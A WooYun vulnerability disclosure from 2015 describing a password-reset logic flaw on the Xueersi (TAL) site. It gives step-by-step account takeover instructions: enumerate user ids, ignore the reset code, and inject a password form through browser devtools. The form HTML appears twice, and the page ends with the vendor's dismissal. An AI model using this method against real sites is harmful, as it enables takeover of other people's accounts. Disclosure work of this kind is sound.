当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109203

漏洞标题:好未来修改任意用户密码

相关厂商:好未来集团学而思培优

漏洞作者: hkAssassin

提交时间:2015-04-20 15:59

修复时间:2015-04-25 16:00

公开时间:2015-04-25 16:00

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-20: 细节已通知厂商并且等待厂商处理中
2015-04-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

权限控制有问题啊

详细说明:

修改过程:通过密码找回功能,填写一个邮箱,此时会往邮箱发送一个验证的字符串,类似下面的
http://www.xueersi.com/user/editPwd/type:1/id:142774/code:7110c762d61a1c86b3155ff34d46cdb7。直接访问这个链接就可以跳转到填写新密码的地方。此处id可以遍历。code参数后面的参数随便写即可。然后会提示错误,通过google浏览器的元素审查功能,吧输入密码框的代码替换掉即可,然后点击提交就可以重置你刚才设置的密码:
1):id可以遍历。code参数后面的参数随便写即可。然后会提示错误

d1.png


2):通过google的元素审查功能吧错误的地方替换成如下的代码

<div class="u_recovery_form forget_newpassword">
<form id="password_recovery" name="password_recovery" action="/user/pwdUpdata" method="post">
<div class="f1">
<label for="inputname" placeholder="请重新输入密码">输入新密码</label>
<p>
<input type="password" name="data[pwd]" id="pwd" class="input_text" value=""><span class="errTips selectFindMode">密码不能为空!</span>
<span class="form_tips tips_strength"></span>
</p>
</div>
<div class="f1">
<label for="inputname" placeholder="请确认您的密码">确认您的密码</label>
<p>
<input type="password" name="data[repwd]" id="repwd" class="input_text ">
</p>
</div>
<div class="f1">
<p class="text">请牢记您的密码,为防止账户被盗情况发生,请不要留下其它记录。</p>
</div>
<input type="hidden" name="data[log_id]" value="142774">
<input type="hidden" name="data[stu_id]" value="1616297">
<div class="f1">
<p>
<button id="nextBtn" class="btn btn_orange" type="submit">确认修改</button>
</p>
</div>

</form>
</div>


d2.png


3):直接输入新的密码,点击提交即可重新设置此用户的密码,然后就可以用设置的密码登陆了。

漏洞证明:

修改过程:通过密码找回功能,填写一个邮箱,此时会往邮箱发送一个验证的字符串,类似下面的
http://www.xueersi.com/user/editPwd/type:1/id:142774/code:7110c762d61a1c86b3155ff34d46cdb7。直接访问这个链接就可以跳转到填写新密码的地方。此处id可以遍历。code参数后面的参数随便写即可。然后会提示错误,通过google浏览器的元素审查功能,吧输入密码框的代码替换掉即可,然后点击提交就可以重置你刚才设置的密码:
1):id可以遍历。code参数后面的参数随便写即可。然后会提示错误

d1.png


2):通过google的元素审查功能吧错误的地方替换成如下的代码

<div class="u_recovery_form forget_newpassword">
<form id="password_recovery" name="password_recovery" action="/user/pwdUpdata" method="post">
<div class="f1">
<label for="inputname" placeholder="请重新输入密码">输入新密码</label>
<p>
<input type="password" name="data[pwd]" id="pwd" class="input_text" value=""><span class="errTips selectFindMode">密码不能为空!</span>
<span class="form_tips tips_strength"></span>
</p>
</div>
<div class="f1">
<label for="inputname" placeholder="请确认您的密码">确认您的密码</label>
<p>
<input type="password" name="data[repwd]" id="repwd" class="input_text ">
</p>
</div>
<div class="f1">
<p class="text">请牢记您的密码,为防止账户被盗情况发生,请不要留下其它记录。</p>
</div>
<input type="hidden" name="data[log_id]" value="142774">
<input type="hidden" name="data[stu_id]" value="1616297">
<div class="f1">
<p>
<button id="nextBtn" class="btn btn_orange" type="submit">确认修改</button>
</p>
</div>

</form>
</div>


d2.png


3):直接输入新的密码,点击提交即可重新设置此用户的密码,然后就可以用设置的密码登陆了。

修复方案:

ps:权限控制

版权声明:转载请注明来源 hkAssassin@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-25 16:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无